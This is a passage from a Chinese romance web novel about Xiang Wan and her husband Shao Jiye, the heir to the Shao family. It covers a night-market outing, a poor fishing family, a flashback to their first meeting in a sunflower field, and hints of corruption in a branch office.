“乌合之众而已,”邵寂野问:“馄饨钱付了吗?我去付。”
他刚要站起来,小珍珠立刻说:“叔叔,刚刚有一个帅哥哥帮我们付过了的。”
邵寂野转移目光,看着向晚,挑眉:“帅哥哥?”
“就是一个本地人,很热心,说这家馄饨很地道,推荐我们外地人尝尝。”
小珍珠立马纠正她:“才不是呢,帅哥哥就是喜欢姐姐,想跟姐姐搭话。”
邵寂野哼了一声:“邵太太的魅力真是厉害啊。”
向晚最烦他阴阳怪气,也回了一句:“那他要来找我搭讪,我也没办法啊,我又不能未卜先知。你要是介意的话就换个人呗,对你来说找个跟白荷长得像的女人也不难吧?”
她刚说出口就有些后悔,现在还不是跟邵寂野闹翻的时候。
本以为邵寂野会大发雷霆,最起码也要冷着她一段时间,可今天的邵寂野却一反常态,脾气格外好:“这家馄饨看起来真挺好的。”
向晚不理解但大为震撼:“那要不然你也要一碗尝尝?”
“你不是还剩下半碗么,别浪费。”
说着,他直接在向晚身边坐了下来,把她剩下的半碗馄饨端了过来,就着她的勺子呼噜噜吃了起来。
第五十八章 就你的秦以枫最温柔
向晚下意识拦了一下,但是没拦住。
半碗小馄饨而已,邵寂野两下就吃完了。
吃完之后他顺手抽了几张摊位上的纸巾擦嘴,看着向晚一脸欲言又止的表情,问道:“你这个表情什么意思?不好吃吗?我觉得挺不错的。”
小珍珠舔了舔嘴唇,弱弱地说:“我也觉得很好吃的,姐姐不喜欢吃馄饨吗?”
旁边的摊主听到了也凑了过来,看向了她。
向晚赶紧说:“好吃的,真的。”
小珍珠鼓了鼓腮帮子:“姐姐是不是不喜欢吃小馄饨啊?我都吃完了呢,姐姐只吃了半碗。”
邵寂野哈哈笑:“你姐姐平时就这个食量,猫都比她吃得多。”
“叔叔,你还要再来一碗吗?你肯定没吃饱。”
向晚连忙阻拦:“叔叔还想看看其他好吃的,我们再看看好不好?”
小珍珠不疑有他,蹦蹦跳跳的走在前面。
向晚和邵寂野坠在后面,并肩走着。
邵寂野问她:“为什么不让我吃?”
向晚轻声说:“夜市上的东西卫生条件还是没那么有保证的,你这趟出来不是还有正事要做?尝尝味道就行了。”
邵寂野微微勾了勾唇:“你不是也吃了?你都不怕我怕什么?”
“那能一样吗?”
“怎么不一样了?大家都是人,都有一套肠胃。”
向晚说:“我吃坏了肚子大不了在酒店里躺着,影响不了什么。但是分公司的事情必须得你来处理,否则他们还会继续变本加厉,把你辛苦经营的企业形象败个精光。”
听到她的话,邵寂野的眼神微微眯起来:“这些人真是胆大包天。”
“你问到了?”
邵寂野的声音很冷:“我爷爷之前的助理,我叫夏伯伯的,在F市扎根多年。他儿子顶着邵氏的名头干了不少见不得人的脏事。”
他抬起头,再次看向这栋金碧辉煌的大厦,笑容更冷了:“这栋大厦里,可不止是邵氏分公司那么简单。”
“难道……里面有女孩子?”
邵寂野没有否认。
之前在酒店吃饭的时候,那对老夫妻就提起过,漂亮的女孩子不要靠近那栋大楼,向晚就有所怀疑了。
现在联系邵寂野说的这些,真相呼之欲出。
向晚问道:“是刚刚那两个巡逻员说的?”
“嗯。”
“你把他们怎么了?”
邵寂野哼了一声:“光天化日朗朗乾坤,我能把他们怎么?”
向晚还是犹豫了一下,把话尽量说的不那么难听:“伤不重吧?”
邵寂野忽而看向她:“你真当我是个有勇无谋的莽夫?”
“不是……”
“你就是。”
向晚摸了摸鼻子,不再说话。
邵寂野似乎有些微微生气了:“我在你眼里就是一言不合就**的傻缺是吗?”
他的调门有些高,有些路人微微看向这边。
向晚安抚他:“你从小天之骄子一样长大,平时做事又乖张,谁的面子都不看,我也是怕你冲动……”
“好,我冲动,就你的秦以枫最温柔。”
“你没事又提别人干什么?”
邵寂野闷闷的:“算了,不想跟你吵。”
向晚也不想跟他发生冲突,这位少爷脾气上来六亲不认,她不想变成被路人围观的猴子。
她快走两步,追上了前面的小珍珠。
小珍珠很开心地牵着她的手,小声问她:“姐姐,你跟叔叔吵架啦?”
“没有,不是吵架。”
“可是我听到叔叔的声音很大,好像生气了。”
“他就是那个脾气,不用管他。”
小珍珠却有些担忧:“可是姐姐,你没有手机,怎么买我的项链呀。”
向晚愣住,这倒真是个问题。
她想了想,偶然间看到路边有一个画人像的摊子。
摊主应该也是个美术生,旁边摆了一些她之前的作品,都是画的名人,有周杰伦,还有潘长江,都画的惟妙惟肖的。
向晚眼珠一转,心生一计。
她走了过去,跟摊主说:“你好,能借用一下你的纸和笔吗?”
摊主抬起头,发现是个漂亮的女孩子,立马点了头:“当然可以了。”
向晚熟练地用画板固定住纸张,握着碳素笔在纸上寥寥勾勒了几笔,摊主的脸就
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跃然纸上了。
摊主看的啧啧称奇:“好家伙,遇到行家了这是。”
向晚但笑不语,又换了一张纸,又是轻描淡写地几笔,很快就画了一个卡通版的小珍珠。
小珍珠看的眼睛都直了,在旁边拍巴掌:“姐姐你真厉害!”
很快,越来越多的人开始**在小摊前。
刚刚还门可罗雀的小摊,瞬间变得人声鼎沸。
摊主笑的嘴都咧到了耳根子:“姑娘,你这是给我招揽生意了啊!”
向晚狡黠一笑:“我帮你画十张,收益我们对半分,可以吗?”
摊主哪有不答应的道理,连连点头。
很快,顾客接踵而至。
小珍珠兴奋地不行,在旁边给向晚打下手,她画完一张,小珍珠就帮忙取下来递给客人,再帮向晚换一张新纸上去。
不一会儿,十张就画完了。
摊主也履行约定,说要付给了她500块钱的酬劳。
向晚指着小珍珠脖子上挂着的二维码说:“你自己扫这个码转账就可以。”
摊主呵呵笑着:“这是你闺女吗?看不出来,你这么年轻,孩子都这么大了。”
向晚也没有解释,跟一个萍水相逢的路人,也没必要解释的那么清楚。
小珍珠举着二维码的小牌牌,开心地眯起眼睛:“谢谢叔叔,祝你生意兴隆哦!”
摊主被逗得哈哈笑:“生意还是得美女来做呀,我在这里摆了一晚上摊了都没生意,你妈妈一来就好多顾客。”
小珍珠嘻嘻笑:“老板你的财运要来啦!”
“这小姑娘,真可爱,借你吉言啊。”
转了账,向晚牵着小珍珠往邵寂野身边走去。
刚刚摊位周边太多人了,邵寂野被挤到了外面,干脆站在不远处的角落里等。
向晚笑着走过去,“不好意思,刚刚去履行了一下对小孩子的承诺。”
邵寂野挑眉:“所以就让我站在这里被蚊子叮了半个小时?”
“那我们去药店买点驱蚊的药水?”
邵寂野眼神闪了闪,问道:“邵太太,你知不知道,现在能把我晾在旁边让我等半个小时的人可不多了。”
第五十九章 他的过去并不快乐
向晚当然知道。
她今天也是赌了一把,赌邵寂野不会生气。
他对小珍珠明显也是存在着愧疚和怜惜之情的,虽然小珍珠家里的悲剧并不是他造成的,但多多少少跟邵氏脱不开关系。
小珍珠今天被追赶,被砸碎了箱子,损失了几条项链,也都是因为邵氏。
她画画买下小珍珠所有的项链,他应该不会反对。
果然,她看向邵寂野的时候,他表情柔和,嘴角还微微带着笑意,看起来不但一点儿生气的意思都没有,心情也十分不错。
这条妖蛟,还是有良心的。
向晚问道:“我们先送小珍珠回家,然后回酒店?”
邵寂野还没说话,小珍珠急切地说:“叔叔,姐姐,你们要不要去我家住呀?你们本身就是来旅游的,住酒店多没意思呀!我家就在船上,你们可以体验一下呀!我家收拾的可干净了,我弟弟还能下海摸鱼,我妈妈能现场做给你们吃,可比酒店的新鲜多了!”
邵寂野终于没忍住,呵呵笑了开来:“你还挺会做生意。”
小珍珠也不掩饰自己的企图,十分积极地争取:“不贵,真的不贵!你们两个人住一晚只收20块,行不行?”
向晚顿时有些打鼓:“20块?”
小珍珠却误以为他们嫌贵,连忙说:“15块!还可以吃鱼呢!我弟弟下海还不一定能摸到什么,有时候鲍鱼和海参也有哦。”
虽然向晚也很想满足孩子的心愿,不忍心看到她失望。
但是渔民打渔的船,想必干净不到哪里去,说不定还会有异味。
她倒是无所谓,眼前这位少爷可不见得是个能委屈自己的主。
“珍珠,姐姐不是嫌贵,只是怕自己会晕船,给你们添麻烦。要不这样,明天你再带几条项链过来,姐姐也全都买下来,好不好?”
小珍珠明显是被拒绝惯了,虽然有些失望,但还是乖巧地点了点头:“好吧。姐姐你们住在哪里?明天我给你们送去。”
向晚说了酒店的名字。
怕小珍珠不知道,还给她指了路。
小珍珠却一口答应下来:“那个地方我知道的,有钱人都住那里!”
不远处,有人用方言叫了一声。
小珍珠立马应了一声,然后转头对向晚说:“姐姐,我爸爸来找我了,我先回家了。明天我一定会去找你的,你一定要等我哦!”
“好,去吧。”
小珍珠蹦蹦跳跳的向着爸爸跑了过去。
向晚打量了一下那个男人。
个子不高,又黑又瘦,身上的衣服看起来已经很破旧了,但是洗的很干净。
察觉到向晚视线的时候,他露出了一个憨厚的笑意,微微点了点头示意。
向晚也回以微笑。
打车回酒店的路上,邵寂野从她手里把那些项链翻出来拿在手里看来看去。
向晚怕他嫌弃,帮忙打着圆场:“虽然也不是什么名贵的贝壳,就是图个纪念。”
邵寂野挑了一个闪着镭射光的直接戴在了脖子上,问她:“好看么?”
“……好看。”
“你回答的一点都不干脆。”
“就是觉得跟你的气质不太搭。”
邵寂野缓缓地把项链摘了下来,轻声说道:“你是不是觉得我是邵家的孙子,就一定吃不惯路边摊,不会穿廉价的衣服?”
结婚三年,至少向晚没见过。
她印象中的邵寂野都是洁癖且考究的,对衣服的质地要求很高,对食物也比较挑剔,宁姨做的菜他最多吃两口就不会再吃了。
“向晚,你也是出生在富足的家庭里,为什么你可以,我就不行?”
“我经历过一分钱难倒英雄汉的日子,还没有到邵家的时候,我一度过得非常窘迫,路边摊的价格对我来说都不便宜。”
“那你又怎么知道,我没有过过这种日子呢?”
向晚微微蹙眉:“你?”
邵寂野深吸了一口气,“小时候,只要我没有按照奶奶的要求做,就没有东西吃。长大了,没有按照奶奶的要求娶谭璇,她也可以利用公司的董事长身份,否决掉我所有正在推进的项目,强制关停。”
他苦笑了一下,“想不到吧,三年前的邵寂野还是个看奶奶脸色过活的可怜虫。我选择不了自己的人生,选择不了公司的业务和走向,更加选择不了我爱的人。”
他说的是白荷。
原来三年前的车祸真的不是那么简单。
是邵寂野第一次跟邵老太太坚持到底地对抗,分毫不让。
甚至是失去自己所拥有的一切也在所不惜。
邵老太
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太用其他办法已经无法让他屈服了,所以才会破罐子破摔,直接从源头解决问题——让白荷消失。
这一瞬间,向晚看着这个曾经以为是天之骄子的男人,生出了一丝同情。
他的童年想必并不快乐。
相比之下,她在爸爸的羽翼下过了二十多年,虽然向家不如邵家家大业大,但她的前半生要比邵寂野幸福的多。
她柔声道:“但是三年后的你做到了,不是吗?你换掉了奶奶留在公司里的老人,大胆启用年轻人做公司管理,并且成功开始往互联网AI方向转型,奶奶也无法阻止。”
“可我还是没能得到我最爱的人。”邵寂野忽而看向她,眼神有些落寞:“所有人都以为我赢了,其实我输掉了自己最想要的。”
向晚不解:“白荷不是活着吗?以后你只要把她藏得好一点,不被人发现就可以了。”
末了,她还补了一句:“我会帮你们的。”
邵寂野嗤笑了一声:“你啊,傻子。”
向晚微微不悦:“我都答应帮忙了你还说我。”
“行,不说你了。”邵寂野问道:“三年之约到期后,你怎么打算?”
向晚说:“带我妈妈离开这里。”
“天隆集团呢,不要了?”
“当然要,”向晚说:“这是我爸爸的心血,不可能不要的。”
“还有呢?你说了你妈妈,你爸爸,还有其他的吗?”
向晚想了想,说:“支持妹妹的音乐事业,如果我能赚到足够多的钱,我就给她办全球巡演。还有锦绣,继续资助她读书,她能读多久,我就供多久。”
“还有吗?”
“还有秦叔,公司还是他更熟悉一些,让他来当总经理。”
“还有吗?”
向晚抬起头来,看着他:“没有了。”
邵寂野又问:“你呢?你自己怎么打算的?”
向晚低下头,想起了一个人。
他温柔地笑着,穿着一身白色的毛衣,脖子上还挂着那个粉色的暖水壶,冲她张开双臂。
光是想着,她心里就如同注入了暖流,克制不住地想要狠狠冲进他的怀里。
或许两个人都会摔倒,但她知道,秦以枫一定会护着她。
“我也会过得很幸福的。”她说:“非常幸福。”
第六十章 船舱里那么小,施展不开
回了酒店,向晚先去洗了澡。
出来的时候,邵寂野还在看着手上的平板电脑。
见她出来,他放下了手里的设备,问道;“洗完了?”
向晚一边擦头发,一边“嗯”了一声:“你去洗吧。”
邵寂野摘下了眼镜放在一边,走了过来,一把勾住她的腰抱了起来就往浴室走:“再陪我洗一次。”
等再次从浴室出来的时候,已经是凌晨三点多了。
向晚依旧是被抱出来的。
只不过进去的时候她还有力气挣扎,虽然没用,但至少还能动。
出来的时候,已经连动手指的力气都没有了。
邵寂野倒是精神抖擞的,自己头发上也滴着水,先拿了干毛巾过来料理她。
先帮她把身上都擦干,拉过被子来给她盖好,然后让她把头发垂在床下,他用吹风机慢慢给她吹。
向晚困得眼睛都睁不开了。
他的手指轻轻梳理着她像黑瀑布一样的长发,轻轻帮她按摩着头皮,她很快就坠入了黑沉的梦乡里。
梦里,似乎还在延续刚刚浴室里发生的事情。
她被他抱着坐在料理台上,而他蹲在地上,美其名曰要查看她的“伤势”。
最后确实是看了,没完全好。
但他说,人的唾沫也有杀菌效果。
向晚一开始还很不适应,觉得这样很不好,但邵寂野在这种事上总是非常积极且强硬,反正也不用她干什么,最后她也就随他去了。
但不得不说,他确实很有服务精神。
当然,他也是有目的的。
“明晚要去小珍珠家里住,船舱里那么小,施展不开。”
向晚听完只觉得倒反天罡,他想的都不是会不会吵醒别人,会不会尴尬,而是“施展不开”?
她觉得自己的猜测是对的。
他真的有病。
不是骂人,是物理意义上的有病。
……
第二天,向晚直接睡到了日上三竿。
醒来的时候,邵寂野已经换好了衣服,正要叫醒她:“小珍珠在楼下等了快两个小时了,快起来吧,小姑娘怪不容易的。”
向晚跳下了床,站在窗前往下看。
只见小珍珠蹲在酒店门口的角落里,已经小小的缩成一团,可几个保安却已经把她团团围住了,作势要把她带走。
眼瞅着他们就要动手,向晚急得不行,快速穿好了衣服就往下跑。
邵寂野也跟着跑到了门口,迟疑了一下,又转过来拿了一件她的外套,这才重新追了出去。
向晚跑出酒店大门,一眼就看到了角落里的几个壮汉。
她跑过去一把拉开了其中一个,把小珍珠护在了怀里,“你们干什么?”
保安见过向晚,知道她是酒店的客人,连忙解释道:“女士您不知道,现在好多骗子来我们酒店门口拉客,说是要去体验什么渔船一日游。什么鬼的一日游,住的比猪圈还差,吃的都是狗食,您可千万别上当!”
“你们胡说!我们家的渔船已经打扫干净了,我爸妈花了一夜打扫的!”
“小骗子你还敢犟嘴?信不信我现在就把你送到邵家大楼去!”
小珍珠一听邵家的名字,顿时不敢再说话了,小心翼翼地躲在向晚身后。
向晚护着孩子,眼珠一转,轻声问道:“你们这儿还挺有意思,邵氏大楼是什么阴森可怖的地方吗?用这个来吓唬孩子?”
保安谄媚的解释道:“怎么能阴森可怖呢?邵家大楼可是我们F市最亮晶晶的地方了。但是邵家可不是好惹的!邵总您总听说过吧?他年少有为,可厉害了!前不久还官宣了要跟国外合作开发AI项目呢!”
“是嘛,那跟你们吓唬孩子有什么关系?”
“现在谁不知道AI产业是风口呀!邵家现在已经权势滔天了,以后还不得上天!得罪了邵家,死都不知道**的。”
向晚问道:“你们这个酒店也是邵家旗下的吗?”
保安摇头:“那倒不是。不过我很想跳槽去邵氏旗下的酒店干活!”
“那边给的工资高?”
“不高,但是有面子啊!只要说自己是邵氏的员工,谁敢惹?!”
向晚冷笑:“邵氏让你们说的跟**似的了。”
保安脸色一白,赶紧劝说:“女士,可不敢这么说。您是外地来的不清楚F市的规矩,在F市,绝对不能说邵氏的坏话。”
“我就说了,怎么样?”
保安顿时吓破了胆一样:“女士您可小声点吧,我上有老下有小的,还想好好工作供孩子读书
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呢……”
“亲爱的——”
邵寂野缓缓走了过来,抖开外套披在她肩头:“外套都穿,当心着凉。”
向晚被他一句“亲爱的”弄的浑身恶寒。
邵寂野就完全不一样了,堪称十级表演艺术家,表现地就像是一个疼爱妻子的丈夫,满眼都是温柔:“走吧,不是说要海边走走?”
他给了向晚一个眼神。
向晚微微一思索就立刻会意:“对,去海边吹吹风。”
小珍珠瞬间急了:“叔叔,姐姐,你们不去我家啦?我们昨天不是说好的……”
向晚捏了捏她的小手,冲她微微摇了摇头。
小珍珠愣了一下,咬着唇有点反应不过来。
向晚问保安道:“听说海边还有椰子林,是不是真的?”
保安点头:“是啊,椰子林好看多了,有沙滩还有夕阳,比什么破渔船有品位多了。先生,太太,你们要去椰子林的话,从这边过去,走两分钟就到了。”
邵寂野熟练地搂着向晚的腰,点头致谢:“知道了,谢谢。”
“不客气。”
向晚给小珍珠打了个手势,这次小珍珠懂了,微一点头,直接撒丫子跑了。
几分钟后,她们在一棵硕大的椰子树后头找到了小珍珠。
小珍珠都快哭了:“姐姐,我还以为你们反悔了呢。我爸妈昨晚一晚都没睡,把船舱打扫的干干净净,就等你们去了。”
小姑娘今天应该是特意换了一身衣服,干干净净的。
她妈妈应该是个很爱干净的人。
向晚问:“你经常来这里拉客人吗?”
“有时候会来,但保安会赶人。”
“那你还来?”
小珍珠扁了扁嘴:“要来的,不然就没生意了,我妈就没钱吃药了。”
向晚听的心里有些酸楚。
人们活在世上都不容易。
她以为自己的命运已经够悲惨了,没想到邵寂野这样的天之骄子也有一个不堪回首的童年,小珍珠则直接是地狱模式。
“你喜欢女儿?”
邵寂野没头没尾的问了一句。
向晚没听明白:“你说什么?”
邵寂野抱着手臂:“我看你跟这个小珍珠这么投缘,一直都护着她。你喜欢女孩儿,是吧?”
第六十二章 谁跟你说的关了灯都一样?
小珍珠的父亲操着一口沧桑的本地土话说道:“我要出去干活,她妈妈看病要钱,也需要有人在家里照顾……”
言下之意,怕是两个孩子都已经不上学了。
邵寂野的眉心微微拧起,虽然没说话,但气场已经冷了下来。
向晚看他这样,就知道这尊大佛怕是动了怒。
她打圆场说:“上学还是要上的,孩子还是要接受教育。”
小珍珠爸爸惨然一笑:“上学有什么用?学的东西电脑都知道,听说那个什么邵总现在还在搞AI,以后什么不会的都可以用AI了,还要人干什么。”
说这话的时候,他的神态有几分凄慌:“有钱人迟早都是有钱人,不像我们,想找个活儿卖苦力都找不到,以后全都是机器人干了,能活几天算几天吧。”
现如今科技发展日新月异。
平时向晚在处理员工问题的时候也经常会遇到,很多员工都会有这样的担忧,如果邵氏以后大力发展AI,是不是以后就不需要这么多人了?
毕竟AI快捷又高效,她们迟早会被取代。
向晚每次也都是安抚,数字生命毕竟是冰冷的,代替不了人,这个世界终究还是要由人来主导的,不管机器人还是AI都只会是辅助人类的。
但这个说法,向晚自己也觉得说服力不够。
时代的洪流滚滚向前,一粒尘埃落在每一个人肩膀上都会变成一座大山。
在这个本就内卷的世界里,大家都已经被996和KPI卷的苦不堪言,一想到以后还要跟机器人和人工智能抢工作,大家的态度都是悲观的。
珍珠爸爸冷冷地说道:“他就是要把我们所有穷人都赶尽杀绝!”
虽然没有说明,但是大家都知道,他说的就是邵寂野。
邵氏在本地的名声已经**人怨,老百姓们把所有的怨气都撒在了邵寂野头上。
向晚留意着邵寂野的反应,他没说什么,只是陷入了沉思。
小珍珠却轻轻说道:“其实我觉得很多坏事也不一定是邵总做的呀,也有可能是下面的人做了坏事,**而已。”
向晚微微有些诧异。
小珍珠明明也是深受其害的,怎么开始为邵寂野说话了。
她去看邵寂野,果然,他微微惊诧之后,眼神已经柔和了许多。
珍珠爸爸斥责道:“你一个小孩子懂什么?很多事情你都不知道!那个邵总不是什么好东西!他……他……”
或许是觉得有些话题少儿不宜,并不适合在女儿面前提起,珍珠爸爸憋红了脸,终究还是忍住了。
向晚其实猜到了,他应该是想说邵寂野前些年一直不断的和不同女人传绯闻的事。
在他们的视角里,自己都快被邵氏欺行霸市逼得没活路了,邵寂野还左拥右抱好不快活,这不是王八蛋是什么?
邵寂野显然也想到了这一层,他轻声说:“或许,他也有不能言说的苦衷。”
珍珠爸爸瞬间反驳道:“他睡女人有什么苦衷?有人把刀架在他脖子上逼着他这么做的吗?先生,太太,你们两个是从大城市来的,不了解我们的苦啊!”
看着珍珠爸爸苍老的面容和枯瘦的身材,邵寂野终究没有继续说下去,所有的话都只化作了一声叹息。
珍珠最多只有十岁的样子,她的爸爸不可能年纪太大,大概只有三十多岁,不会超过四十岁。
算起来,其实也只是比邵寂野大三四岁而已,乡下人结婚早,或许根本都大不了这么多。
但两人的外貌已经天差地别。
邵寂野看上去意气风发,而珍珠爸爸却早已经被生活蹉跎地仿佛年过半百。
向晚微笑着说道:“家家有本难念的经,不吃这样苦,就得吃那样苦。大哥,你跟嫂子再坚持坚持,以后一定会好的。”
她人长得漂亮,说话又温柔,珍珠爸爸的态度也好了些:“太太,那就借你吉言了。”
短暂的寒暄过后,向晚拉着邵寂野回到了今晚要住的船舱里。
反手关上了门。
邵寂野看着她的动作,微微笑开:“干什么?你怕我跟他打起来?”
向晚说:“打起来应该是不至于,但那些话听多了,谁心里都不好受。”
珍珠爸爸的话几乎是把邵寂野三个字拎出来骂了。
他也从来都不是一个好脾气的人。
“你放心,我心里有数,”邵寂野坐在行军床上,抬头看了看她:“倒是你,什么就以后
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越来越好啊,你觉得我会趟这个浑水?”
说白了,邵寂野作为邵氏的现任总裁,已经事情很多了,再加上要推进AI板块,非常多的事情等着他去做。
F市的分公司每年上交的利润都不错,而且也不用过多操心。
说白了,如果站在一个管理者的角度来说,稳定且收益颇丰的分支,脑子有泡才会去动。
但向晚说:“我觉得你会改变这一切的。”
“你说什么?”
于是向晚又重复了一遍:“我说,你会改变这一切的。”
邵寂野满不在乎地嗤她:“你不了解我,我这个人自私自利唯利是图,划不来的事情我不做。”
他现在还因为白荷的事情跟奶奶僵持着,如果还要蹬鼻子上脸砍掉奶奶的亲信,恐怕已经到了冰点的祖孙关系会更加雪上加霜。
向晚反问:“既然你唯利是图,为什么不娶了谭璇算了?”
邵寂野拧眉,抬起头来看她。
向晚继续说道:“你为了白荷第一次反抗奶奶,说明在你心里,利益并不是最重要的。否则娶了谭璇的确是一条好出路,两家公司通力合作,利润绝对大大的。”
邵寂野看着她,喉结上下滚了滚,“可我不喜欢谭璇。”
“那你喜欢温甜甜吗?”
“……”
“你也不喜欢温甜甜,其实不止是温甜甜,之前你身边的那些女人,你都不喜欢,跟她们在一起你也只是在演戏罢了。既然都不喜欢,娶谁不是娶?反正你们男的不是都说,关了灯都一样。”
邵寂野忽而爆出一阵闷笑:“谁跟你说的关了灯都一样?”
“忘了。”
邵寂野认真地看着她:“不可能一样的,至少在我这里,我做不到。”
“做不到什么?娶自己不爱的女人?”
“嗯。”
“可你不是也娶了我么。”
邵寂野沉吟了一会儿,再次点头:“嗯。”
向晚却有些会意:“也不对,你娶我只是为了白荷而已。”
邵寂野皱眉:“向晚,其实……”
“算啦,我其实也并不在意这个,”她说:“我嫁给你也不是因为我爱你啊,我们两个在这方面也算是扯平了。”
第六十三章 不愧是我向晚的男人!
邵寂野看着她。
向晚低着头,正在整理着裙摆。
她其实很适合穿浅色,显得整个人很温柔,仿佛泛着柔光。
跟多年前那个下午,在向日葵花田里见到她的那一幕很相似。
原本他也只是被奶奶逼得喘不过气,想找个地方自我放逐一段时间。
那一片向日葵花田很大,每一棵都很高,跟他的个子差不多。
穿行在中间的时候,有一种隐匿在其中,可以暂时与世隔绝的舒缓感。
公司的业绩,奶奶的逼迫,公司元老们的轻视与鄙夷,像是一层层枷锁,把他捆的透不过来气。
他想发展新业务狠狠打那些老顽固一个耳光,可奶奶只要不点头,在公司里的他孤立无援,项目多少次都无疾而终,压根推进不下去。
可如果继续走过去的老路,肉眼可见的土建行业在快速坠机,国内不少大中型建筑公司都在倒闭,他不是神,没办法挽大厦于将倾,可越来越差的成绩只会让老顽固们更加颐指气使:看吧,你就是不行。
他那段时间几乎感觉人生快要窒息,甚至已经在考虑放弃邵氏,出去白手起家自立门户。
微风吹拂,向日葵向着一边倒去,他才赫然发现,原来向日葵花田里不止他一个人。
还有一个……不,两个人。
一男一女。
男的高大魁梧,女孩清瘦秀丽。
女孩背对着他站着,而他的角度看过去,正好可以看到男人满脸的络腮胡,还有眼神里凶狠的杀意。
邵寂野没有多想,只是觉得女孩有危险。
正当他想要冲出去救人的时候,凶狠的男人却轰然倒地。
女孩动作迅速,一脚踩在他的手腕上,男人一声哀嚎惨叫,手里握着的手机也掉了出去。
他还想反抗,女孩反应更快,一拳打在男人的下巴上。
下巴这个位置,其实很特殊。
直接连接着脑干和脊椎,一旦遭受重击,轻则让人短暂眩晕失去反抗能力,重则直接毙命。
女孩的力量不算大,但直击要害,男人又是一阵哀嚎,瞬间失去了所有战斗力。
邵寂野在旁边看的啧啧称奇,想着这个女孩应该是练过格斗或者是泰拳,可是女孩一转头,映入眼帘地却是一张清丽妩媚的脸。
她应该是化了妆的,整个人显得活泼俏皮,但又带着一些小女人的妩媚。
一开口,字正腔圆的中文:“本姑娘好不容易跟异地恋男朋友约个会,做了头发还撸了个全妆,结果被你小子搅合了!敢偷我手机?让你见识见识chinesekongfu!”
男人已经鼻涕眼泪口水搅合在一起,像是蜗牛的粘液已经糊了满脸,只是一直重复sorry。
“小晚——”
不远处,一个看起来有些秀气地男人气喘吁吁得追了过来,双手撑着膝盖,话都说不全乎了:“你、你没事吧?”
这个名叫小晚地女孩一见是他来了,顿时喜笑颜开,收起了方才那副打女的模样,恢复成了淑女的形状,小声撒娇道:“你怎么才来呀?”
男人皱着眉,忍着呼吸的急促,上上下下检查了她一遍:“你还好吗?没受伤吧?”
“没有!区区金毛飞贼,敢偷姑奶奶手机,活腻了!”
男人的声音很温柔,但也略带薄责:“你要吓死我吗?”
女孩软软地靠在他怀里,鼓着腮帮子哼唧:“我心里有数,我有一个同学是泰拳高手,她教过我几招的。”
“话是这么说,万一你出了事,你让我怎么办?
“……对不起嘛。”
“好不容易抽空过来见你,还没好好跟你待一会儿呢,就被迫看了一场**大片。”男人无奈又宠溺地揉了揉她的头发:“谢谢啊,小晚大明星。”
女孩开心起来,拉着他的手晃啊晃:“不客气,未来的秦大医生。”
“下次不许这样了,手机丢了再买一个就好了,不要让自己陷入危险。”
“我就是气不过嘛,他居然问我是不是日本人诶?!这你能忍住?”
男人立刻反口:“这个确实忍不了。”
“那你也去补一脚?”
男人想了想,扯下了几朵向日葵花瓣,在瘫倒在地的大胡子前面摆了一个什么形状。
“趁人之危打他有些没风度了,这样就刚刚好。”
女孩一看,噗嗤一声笑了:“好损,不愧是我向晚的男人!”
向晚。
邵寂野在口中品咂了一会儿这个名字,觉得有种诗意又缠绵的意味。
等两个人离开了,他才悄悄地走了过去,也看到了那句用向日葵花瓣摆放成的句子——
一句国骂。
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。
即表明了他们两个的国籍,又表达了对这个小偷的侮辱。
邵寂野随身带着相机,把这一幕拍了下来。
那一晚,他做了个梦。
梦里没有那个男人的出现,是他及时出手,一拳打在了小偷的脸上,手机脱手坠入空中,被他牢牢接住。
女孩仰起脸看他,精致的小脸儿上带着红晕,眼神亮晶晶的。
她说了跟白天一样的话:“不愧是我向晚的男人!”
再然后,他们一起在向日葵花田里奔跑,欢笑,最后他抱着她倒在了一个巨大的向日葵里。
她躺在他身下,夕阳打在她脸上,她整个人都砸发光,唇红齿白,非常诱人。
梦在这里戛然而止,邵寂野去浴室洗了个冷水澡,又手洗了湿了一大块的被子,点了一支烟站在窗前,一直到天亮。
她有男朋友。
他们很恩爱。
尽管知道这样不对,但他还是可耻地想着,或许,有没有可能?
第二天,他又去了那片向日葵花田,想要碰碰运气。
他运气很好,她又来了。
这一次,她面前支着一个画板,她左手拿着调色盘,右手握着画笔,面前的画板上,是跟现实中一模一样的一大片向日葵。
朝阳下的她,还是如同梦里一样美好。
于是他情不自禁,又举起了相机,拍下了这一幕。
向晚察觉了,疑惑地看了他一会儿,但并没有生气,只是笑着问道:“中国人吗?”
邵寂野点了点头:“嗯。”
她也笑,然后收回目光,继续自己的作品。
邵寂野看到了那副向日葵的右下角,写了一串英文:“allforyou,myloverQIN。”
他几乎是落荒而逃。
她的lover,她有lover。
道德感让他无所适从,甚至有些自我厌恶。
他用了很长时间试图忘记她,也尝试过很多方法,他劝了自己放弃执念,放弃幻想。
可那时候的邵寂野也没想到,可未来的某一天,她会突然出现在他的家里。
她眼中光华不再,脸色苍白,瘦了一大圈,整个人疲惫不堪。
奶奶木着脸对他说:“阿野,通知你一声,明天去跟这个女孩领证,以后她就是我邵家的孙媳妇,也就是你的太太了。”
第六十四章 你现在就是邵太太,不是吗?
“邵太太。”
向晚愣了一下,眼中带着疑惑:“怎么了?”
“没怎么,就是想叫你一声。”
向晚的眼神里带着防备:“我今天没得罪你吧?”
这次轮到邵寂野疑惑:“为什么这么问?”
“每次你这么叫我,总没好事。”
邵寂野的眼神暗了暗:“可你现在就是邵太太,不是吗?”
“是啊,”向晚叹了口气:“不过也快不是了。”
邵寂野用手撑着下巴,手肘搭在船舱的窗边,柔柔地看着她:“你就这么想离婚吗?”
向晚皱眉:“难道你不想?”
“我……一般吧。”
向晚说:“对了,你要不要打个电话给白荷?你已经两天没联系过她了,小心人家生你的气。”
邵寂野掏出手机,划开。
锁屏界面是一大片向日葵。
他略一沉吟。忽而抬眼看她,眼神锐利:“你是不是也想打电话?”
向晚被看透了心思,索性承认了:“可以吗?”
“又是给你妈妈?”
“不是,我想打给……秦叔。”
邵寂野没说话,只是收回了目光,不再看她。
向晚小声试探着问:“行吗?”
“不行。”
“不行算了,”向晚摆明了也没打算指望他:“我去找珍珠爸爸借一下手机。”
邵寂野没好气地说:“萍水相逢的,人家也不一定愿意借给你。”
向晚想了想,还是推开船舱门走了出去。
看着她的背影消失,邵寂野往后倒,躺在了行军床上。
这个床应该也有年头了,咯吱咯吱乱想。
邵寂野用手按了按,突然有些担心今天晚上的睡眠问题。
小倒是没事,他可以抱着向晚睡。
但这床稍微一点动静就响地像是鸭子被捏住了喉咙,身贴着身抱着睡……今晚怕是不好过啊。
手机突然想起来。
是楚卫,他接了。
“邵总,我让人查了分公司总经理程康,他算是老太太的嫡系,与此同时,他的女儿还嫁给了……”
